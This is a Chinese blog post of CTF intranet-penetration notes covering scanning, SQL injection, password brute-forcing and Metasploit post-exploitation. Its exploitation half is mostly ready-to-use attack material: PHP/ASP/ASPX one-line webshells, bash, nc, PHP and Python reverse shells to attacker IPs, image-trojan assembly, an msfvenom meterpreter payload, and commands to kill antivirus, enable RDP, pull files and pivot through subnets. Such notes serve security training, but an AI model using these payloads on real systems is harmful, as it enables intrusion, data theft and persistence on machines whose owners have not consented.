CTF内网渗透笔记

原创

BridyWang 于 2020-11-10 15:33:27 发布 1712 收藏 19
分类专栏： 内网渗透 文章标签： 渗透测试 unctf metasploit sql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_26579613/article/details/109593564
版权


内网渗透 专栏收录该内容
13 篇文章 0 订阅
订阅专栏

一、漏洞挖掘相关工具的使用

NMAP扫描工具使用

1.扫描指定的IP范围

```
nmap 192.168.0.101-110
```

2.扫描指定的IP网段

```
nmap 192.168.0.* --exclude 192.168.0.100
```

3.扫描指定网址的操作系统类型（深度扫描）

```
nmap -A 192.168.0.101
```

or

```
nmap -O 192.168.0.101
```

4.扫描网络内活跃的主机（该命令会跳过端口扫描或检测）

```
nmap -sP 192.168.0.*
```

5.快速扫描主机开放的端口（nmap-services文件中的端口）

```
nmap -F 192.168.0.101
```

6.扫描特定的端口

```
nmap -p 80 192.168.0.101
nmap -p 80-160 192.168.0.101
```

7.完整的深度扫描

```
nmap -sP 192.168.0.101/24
nmap -p 1-65535 -A 192.168.0.101

nmap -sS -Pn -T4 -p 1-65535 192.168.0.101
nmap -A -O -p 80 192.168.0.101
```

目录爆破工具的使用

1.Windows平台-使用御剑，下载地址

https://github.com/foryujian/yjdirscan

2.Linux平台-使用kali中的Dirb，命令：

```
dirb http://192.168.1.101 /usr/share/wordlists/dirb/big.txt
```

kali自带图形化工具owasp-zap，命令:

```
root@kali:~# owasp-zap
```

Sqlmap工具的使用

1.查找数据库

```
sqlmap -u "http://www.xxx.com/link.php?id=321" --dbs
```

2.查找表

```
sqlmap -u "http://www.xxx.com/link.php?id=321" -D dataname --tables
```

3.查找列

```
sqlmap -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns
```

4.查找字段值

```
sqlmap -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C "id,user,password" --dump
```

5.通过POST方式注入

```
sqlmap -u "http://www.xxx.com/login.asp" --data "Username=admin&Password=123456"
```

6.Sqlmap组合命令的使用

```
sqlmap -u “http://www.xxx.com” --data "Username=amdin&Password=123" --level 3 --dbms mysql

#暴力扫描
sqlmap -u “http://www.xxx.com” --level 5 --risk 3 --forms --dbs
```

密码爆破工具的使用

Windows平台使用Archpr

Kali Linux使用hydra

```
#Kali中自带字典位置
cd /usr/share/wordlist

#破解SSH
hydra -L user.txt -P pass.txt -t 2 -vV -e ns 192.168.124.10 ssh
#破解ftp
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
#破解teamspeak
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
#破解POP3
hydra -l muts -P pass.txt my.pop3.mail pop3
```

字典生成工具--Crunch（按规则生成）

```
#指令：crunch 最小位数 最大位数 指定生成范围
crunch 1 9 2324bin
```

相关参数

```
参数
-b number[type] 体积大小，比如-b 20mb
-c number 密码行数，比如-c 8000
-d number symbol 限制出现相同元素的个数（至少出现元素个数），-d 3就不会出现zzf ffffgggg之类的
-e sting 定义停止生成密码。比如 -e 222222：到222222停止生成密码
-o wordlist.txt 保存为
-p 定义密码元素
-t #定义输出格式
@代表小写字母
，代表大写字母
%代表数字
^代表符号
\代表空格
```

字典生成工具--Cewl（爬取）

```
#使用命令
cewl www.example.com -d -w dic.txt
```

字典生成工具--john

```
john --wordlist=dic.txt --stdout --rules > results.txt
```

子域名收集工具

Kali平台，使用subDomainsBrute，基于Python的脚本工具，也可以用于Windows平台

```
python subDomainsBrute.py www.example.com


 -f 指定字典扫描，默认使用自带的subnames.txt.
 --full 使用subnames_full.txt字典全量扫描
 -w 强制扫描
 -t 指定线程，默认256个
 -p 指定进程，默认6个
 -o 指定输出文件名，如scanResult.txt
```

Windows平台，使用Layer子域名挖掘机，提取码91ec

内网探测工具

Kali平台，使用F-NAScan，基于Python的脚本工具，也可以用于Windows平台

```
#使用示例
python NAScan.py -h 10.111.1
python NAScan.py -h 192.168.1.1-192.168.2.111
python NAScan.py -h 10.111.1.22 -p 80,7001,8080 -m 200 -t 6
python NAScan.py -h ip.ini -p port.ini -npython NAScan.py -h 10.111.1.22 -p 80,7001,8080 -m 200 -t 6

-h 必须输入的参数，支持ip(192.168.1.1)，ip段（192.168.1），ip范围指定（192.168.1.1-192.168.1.254）,ip列表文件（ip.
-p 指定要扫描端口列表，多个端口使用,隔开 例如：22,23,80,3306。未指定即使用内置默认端口进行扫描(21,22,23,25,53,80,110,
-m 指定线程数量 默认100线程
-t 指定HTTP请求超时时间，默认为10秒，端口扫描超时为值的1/2。
-n 不进行存活探测(ICMP)直接进行扫描。
```

Wordpress组件漏洞扫描

Kali平台，使用WPScan，命令：

```
#-e 枚举 u用户名 vp有漏洞的插件
wpscan -u 192.168.0.101/wordpress/ -e u,v,p

wpscan --url http://192.168.0.101 --wordlist=/root/dic.txt --username uname --threads  20
```

SMB协议漏洞扫描

SMB在kali平台可以使用enum4linux

```
#192.168.0.102为靶机ip
enum4linux 192.168.0.102
#login
smbclient //192.168.0.102/share$

#windows下获取共享资源
net use k:\\192.168.1.102\share$
#linux下获取共享资源
mount -t cifs -o username=' ', password=' ' //192.168.1.101/share$  /mnt
```

二、漏洞利用相关工具的使用

木马使用

常用的一句话木马

```
php的一句话木马：  <?php @eval($_POST['pass']);?>
asp的一句话是：    <%eval request ("pass")%>
aspx的一句话是：   <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
```

一句话反弹shell

```
bash -i >& /dev/tcp/192.168.0.101/4444 0>&1
#echo "bash -i >& /dev/tcp/192.168.0.112/1234 0>&1" | bash

nc -e /bin/bash -d 192.168.0.101 4444

#使用php反弹shell
php -r '$sock=fsockopen("192.168.0.101",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

#使用Python自调起shell
echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
python /tmp/shell.py
```

Python服务器shell

```
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#攻击机ip和端口
s.connect(("192.168.0.101",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
```

组装图片木马

```
#使用Windows的Copy命令组装木马(/b"二进制文件",/a"ASCII码")
copy flag.jpg/b+hack.php/a hack.jpg

#高级姿势（解决木马无法作为PHP执行的问题）
<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>
```

Metaspolit使用

1、漏洞扫描

打开Metaspolit控制台

```
msfconsole
```

使用Metaspolit辅助模块进行信息收集

```
search portscan
```

使用tcp进行端口扫描

```
use auxiliary/scanner/portscan/tcp
```

开展扫描

```
show options

#参数设置示例
set rhost 192.168.0.101
set port  1-65535
set thread 100

#执行攻击
exploit
```

使用msf-nmap进行系统信息扫描

```
nmap -sV 192.168.80.100
```

常用模块整理

```
use auxiliary/scanner/portscan/tcp
set payload payload/windows/x64/meterpreter/reverse_tcp
```

2、选择攻击模块

```
#查看Windows平台的攻击模块
search name:windows

#查看等级为优秀的辅助模块
#type用于筛选exploit/auxiliary/post，使用platform仅查看常用模块
search type:auxiliary platform

#选择攻击模块
use exploit/multi/http/glassfish_deployer
```

3、控制session

制作木马

```
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.20.10.2 lport=5555 -f exe -o hack.exe
```

session指令

```
msf > sessions -l

Active sessions
===============

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ ROOT-9743DD32E3  192.168.1.11:4444 -> 192.168.1.142:1063

msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter > pwd
C:\
meterpreter >
```

4、控制job

```
#对当前的工作进行操作
jobs -h
#通过job id 来终结某个job
kill+jobid
```

5、Windows靶机信息挖掘

查看当前系统信息

```
#获取当前系统信息
sysinfo
#获取当前用户名
getuid
```

关闭靶机防御

```
#关闭杀毒软件
run post/windows/manage/killav
#开启3389
run post/windows/manage/enable_rdp
#目标子网情况
run post/windows/manage/autoroute
```

操作靶机文件系统

```
#目标主机当前处于哪个目录
pwd或getwd
#自己处于哪个目录
getlwd
#搜索c盘下所有txt文件
search -f *.txt -d c:\
#下载文件到本机root目录下
download    c:\test.txt /root
#上传本机木马至目标C盘
upload    /root/hack.exe c:
#修改靶机文件权限
cacls filename /E /G system:F
```

6、Linux靶机信息挖掘

查看用户相关信息

```
 cat /etc/passwd
```

查找用户相关文件

```
find / -user root 2>/dev/null
```

下载靶机可疑文件

```
#192.168.0.102为kali攻击机ip
scp /root/pass/password.txt root@192.168.0.102:/root/
```

7、内网渗透

反弹shell示例

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set lhost 192.168.0.2
msf5 exploit(multi/handler) > set lport 5555
msf5 exploit(multi/handler) > run
```

查看当前网段

```
meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 172.10.20.1/255.255.255.0
Local subnet: 192.168.0.101/255.255.255.0
```

增加172.10.20.1网段至当前网段（使用autoroute）

```
meterpreter > run autoroute -s 172.10.20.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.10.20.0/255.255.255.0...
[+] Added route to 172.10.20.0/255.255.255.0 via 192.168.0.101
[*] Use the -p option to list all active routes
```

退出session，查看当前路由状态

```
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   172.10.20.0        255.255.255.0      Session 1

[*] There are currently no IPv6 routes defined.
```

附手动添加路由

```
#查看跳板机所处网段：
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 172.20.10.0/255.255.255.0
Local subnet: 192.168.0.101/255.255.255.0

#将运行着的session退至后台：
meterpreter > background
[*] Backgrounding session 1...

#添加路由：
msf exploit(handler) > route add 172.20.10.0 255.255.255.0 1
[*] Route added
msf exploit(handler) > route print
IPv4 Active Routing Table
=========================
   Subnet             Netmask            Gateway
   ------             -------            -------
   172.20.10.0        255.255.255.0      Session 1
[*] There are currently no IPv6 routes defined.
```